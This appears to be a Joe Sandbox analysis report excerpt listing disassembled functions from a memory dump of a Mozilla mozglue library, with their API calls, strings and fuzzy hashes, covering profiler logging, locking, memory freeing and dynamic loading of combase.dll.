Instruction Fuzzy Hash: A031B379B04204DBCB00DFA9C8989AFB7B5FFDA328B250519D90297780DB34E906CB95

Function 6C949830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C997ABE), ref: 6C94985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C997ABE), ref: 6C9498A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C949909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C949918
free.MOZGLUE(?), ref: 6C949975

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 48031c42ef4ceb1443488799665c54de1b0c171b59a93e9764fae07c7be1e945
Instruction ID: 5452b607f5b52eab8752f38dd01d99c65a0e3550fcca903aef9edc768ad94993
Opcode Fuzzy Hash: 48031c42ef4ceb1443488799665c54de1b0c171b59a93e9764fae07c7be1e945
Instruction Fuzzy Hash: 40718B746047068FC725CF2CC580966B7F9FF4A3287258AADE85A8BB90D731F845CB91

Function 6C94B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C98CC83,?,?,?,?,?,?,?,?,?,6C98BCAE,?,?,6C97DC2C), ref: 6C94B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C98CC83,?,?,?,?,?,?,?,?,?,6C98BCAE,?,?,6C97DC2C), ref: 6C94B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C98CC83,?,?,?,?,?,?,?,?,?,6C98BCAE), ref: 6C94B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C98CC83,?,?,?,?,?,?,?,?,?,6C98BCAE,?,?,6C97DC2C), ref: 6C94B896

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 17755acdc804955f25797b8a811de5e8050a1727c34bcc62a085bf416d7e57c8
Instruction ID: 701b425678588a5d10df3e0486ac655301879064743d0969c69ad040bdc2cc37
Opcode Fuzzy Hash: 17755acdc804955f25797b8a811de5e8050a1727c34bcc62a085bf416d7e57c8
Instruction Fuzzy Hash: EB517C75704A048FCB24CF59C494A2EB7F9FF89318F69859DE98A87381C731E801CB80

Function 6C981D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C981D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C981BE3,?,?,6C981D96,00000000), ref: 6C981D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C981BE3,?,?,6C981D96,00000000), ref: 6C981D4C
GetCurrentThreadId.KERNEL32 ref: 6C981DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C981DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C981DDA

Part of subcall function 6C981EF0: GetCurrentThreadId.KERNEL32 ref: 6C981F03
Part of subcall function 6C981EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C981DF2,00000000,00000000), ref: 6C981F0C
Part of subcall function 6C981EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C981F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C981DF4

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 0a1ed28fe0a7891aac69b71098fcd4f99bb96ba375db47ab5fca7ba3c0bb92e1
Instruction ID: d54349d0120fd18efee904ce0231d33505ef5a90f3ef9812b3b9812b454fda2a
Opcode Fuzzy Hash: 0a1ed28fe0a7891aac69b71098fcd4f99bb96ba375db47ab5fca7ba3c0bb92e1
Instruction Fuzzy Hash: 4F4167B5205700AFCB10CF29C488B56BBF9FB99718F20446EE95A87B81CB71E814CB94

Function 6C9438A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9BE220,?,?,?,?,6C943899,?), ref: 6C9438B2
ReleaseSRWLockExclusive.KERNEL32(6C9BE220,?,?,?,6C943899,?), ref: 6C9438C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C943899,?), ref: 6C9438F1
RtlFreeHeap.NTDLL ref: 6C943920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C943899,?), ref: 6C94392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C943899,?), ref: 6C943943
RtlFreeHeap.NTDLL ref: 6C94396E

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 13819248f28ee963243cb0ec702a939684772163235fc77ea18406129c87ed39
Instruction ID: aeab237aca7e38b71ab4824cb7e87e8db8281a274c887c794aea610393761e2d
Opcode Fuzzy Hash: 13819248f28ee963243cb0ec702a939684772163235fc77ea18406129c87ed39
Instruction Fuzzy Hash: 13212E72600610EFD720DF35C880B86B7B8FF54328F218429E95A9BB10C735F846CB90

Function 6C9784E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9784F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C97850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C97851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C97855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C97856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9785AC

Part of subcall function 6C977670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9785B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C97767F
Part of subcall function 6C977670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9785B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C977693
Part of subcall function 6C977670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9785B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9776A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9785B2

Part of subcall function 6C955E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C955EDB
Part of subcall function 6C955E90: memset.VCRUNTIME140(6C997765,000000E5,55CCCCCC), ref: 6C955F27
Part of subcall function 6C955E90: LeaveCriticalSection.KERNEL32(?), ref: 6C955FB2

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: b4a05de29a0ff06987f5fdb69ebd2003da37bc26ce6447bed0ec17dc47ae217b
Instruction ID: e7058d4594062d7693dddc2ecffd31141f83933767761a6289a36119ab0f2e6d
Opcode Fuzzy Hash: b4a05de29a0ff06987f5fdb69ebd2003da37bc26ce6447bed0ec17dc47ae217b
Instruction Fuzzy Hash: C9217F743056019FDB28DB24C888A5BB7B9AF8430CF24482DE55BD3B41DB31F958CB69

Function 6C941640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C941699
VerSetConditionMask.NTDLL ref: 6C9416CB
VerSetConditionMask.NTDLL ref: 6C9416D7
VerSetConditionMask.NTDLL ref: 6C9416DE
VerSetConditionMask.NTDLL ref: 6C9416E5
VerSetConditionMask.NTDLL ref: 6C9416EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9416F9

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 86445d754fbaad6fab85119f7e856f165a8d12a2c76c72f0238426546bd3f4eb
Instruction ID: e38fceeb061e02a366b1dab3ffe844c708dd6380c22336468ce64b74319ef0bc
Opcode Fuzzy Hash: 86445d754fbaad6fab85119f7e856f165a8d12a2c76c72f0238426546bd3f4eb
Instruction Fuzzy Hash: 1021D2B07442087BFB116A64CC89FBB737CEFD6B04F504568F6059B6C0C678DD5486A1

Function 6C97F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C97F598), ref: 6C97F621

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

GetCurrentThreadId.KERNEL32 ref: 6C97F637
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8,?,?,00000000,?,6C97F598), ref: 6C97F645
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8,?,?,00000000,?,6C97F598), ref: 6C97F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C97F62A

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: ed30f90c80b3174bfebaf3615666b8db4bbb574ebf5571a2c6f7f44c62bccded
Instruction ID: 3b2bc4cc71ebac4f0f121473d84fa36a522d8a3afc62d9164307279babc95345
Opcode Fuzzy Hash: ed30f90c80b3174bfebaf3615666b8db4bbb574ebf5571a2c6f7f44c62bccded
Instruction Fuzzy Hash: EA11C479206204BBCB10AF29C8889A6B77DFF9675CB200015EA0593F41CB71EC21CBB4

Function 6C941FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C941FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C941FFD
__Init_thread_footer.LIBCMT ref: 6C942011
FreeLibrary.KERNEL32 ref: 6C942059

Strings

CoCreateInstance, xrefs: 6C941FF7
combase.dll, xrefs: 6C941FD9

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: f6b85684f06d3c01958e60e52ddd849e02038d645969a696d9b743795c50ef25
Instruction ID: 26845a89f6c7594ae799d8d1fcffc986bec891b39eda673fa8c2578b946b6d1b
Opcode Fuzzy Hash: f6b85684f06d3c01958e60e52ddd849e02038d645969a696d9b743795c50ef25
Instruction Fuzzy Hash: C0113D7D209604FFEF20CF25C958EA73BB9FB8635AF208019F90592654C771D850CBA5

Function 6C940EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C96D9F0,00000000), ref: 6C940F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C940F3C
__Init_thread_footer.LIBCMT ref: 6C940F50
FreeLibrary.KERNEL32(?,6C96D9F0,00000000), ref: 6C940F86

Strings

CoInitializeEx, xrefs: 6C940F36
combase.dll, xrefs: 6C940F18

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 88b9335ba299cbd403811483da4dc08c39eacf29d683f0ccdfd16813dcccce0a
Instruction ID: 8a238491c7a14aacdb322a4c540948e69bb8e711760af6aa058295bce47c7c24
Opcode Fuzzy Hash: 88b9335ba299cbd403811483da4dc08c39eacf29d683f0ccdfd16813dcccce0a
Instruction Fuzzy Hash: A511CA7C709240BBDF00CFA9CA48A973778EB96329F204165FD0592780D7B0E411CA69

Function 6C97F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97F561

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

GetCurrentThreadId.KERNEL32 ref: 6C97F577
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97F585
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C97F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C97F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C97F56A
[I %d/%d] profiler_resume, xrefs: 6C97F239

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: b9a07002dd097ca1e03f89e4f0a9ac07ac0457e395f6542c75dc0fe917c27157
Instruction ID: 7f971d7a2530eb0fdc676c2bcd9c834f4433f2b773b3a8677f1becf43becf5c0
Opcode Fuzzy Hash: b9a07002dd097ca1e03f89e4f0a9ac07ac0457e395f6542c75dc0fe917c27157
Instruction Fuzzy Hash: 70F09079204204BFDB106B68D88C96BB77DEB9625DF200015FA0593741DB75C80087B8

Function 6C97F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C97F598), ref: 6C97F621

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

GetCurrentThreadId.KERNEL32 ref: 6C97F637
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8,?,?,00000000,?,6C97F598), ref: 6C97F645
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8,?,?,00000000,?,6C97F598), ref: 6C97F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C97F62A

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 4df84d41e60cd696bf07257c516a8440d765635f3f026f5d7c59b5409e608acd
Instruction ID: 6ed7655d022b86080078032be5ccc5da2c6057c7e8f7ccc679ec97f5f8bbe965
Opcode Fuzzy Hash: 4df84d41e60cd696bf07257c516a8440d765635f3f026f5d7c59b5409e608acd
Instruction Fuzzy Hash: 1AF05479305208BFDB106B69888C95BB77DFFD625DF200015FA0593791CB759C0587B9

Function 6C940E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C940DF8), ref: 6C940E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C940EA1
__Init_thread_footer.LIBCMT ref: 6C940EB5
FreeLibrary.KERNEL32 ref: 6C940EC5

Strings

kernel32.dll, xrefs: 6C940E7D
GetProcessMitigationPolicy, xrefs: 6C940E9B

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: a282855f7f8c1a98670da21e79abcc2ea2680495c83c8ef3cc69b95f455da654
Instruction ID: 36d07f913b5711776ab16abfd07912b998e12545a35804e808b474e846dd49e3
Opcode Fuzzy Hash: a282855f7f8c1a98670da21e79abcc2ea2680495c83c8ef3cc69b95f455da654
Instruction Fuzzy Hash: 4601E47C608281ABEB00CFA8D994A4337B9E796B1DF3055A9A90192B80DB74E4148A5A

Function 6C9705F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C96CFAE,?,?,?,6C9331A7), ref: 6C9705FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C96CFAE,?,?,?,6C9331A7), ref: 6C970616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C9331A7), ref: 6C97061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C9331A7), ref: 6C970627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C97061B, 6C970625
<jemalloc>, xrefs: 6C9705FA, 6C97060F

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: d6a259af30865669662eaa63d626e1b0ae5645c0689e55d68bc79d2ccdd7834a
Instruction ID: f7b878710633722550ca183065095e9361bb82facc40488890c60da42b861acd
Opcode Fuzzy Hash: d6a259af30865669662eaa63d626e1b0ae5645c0689e55d68bc79d2ccdd7834a
Instruction Fuzzy Hash: 54E08CE2A0101037F6142296AC86DBB761CDBD6134F090039FD0D86701E94BED1A51F6

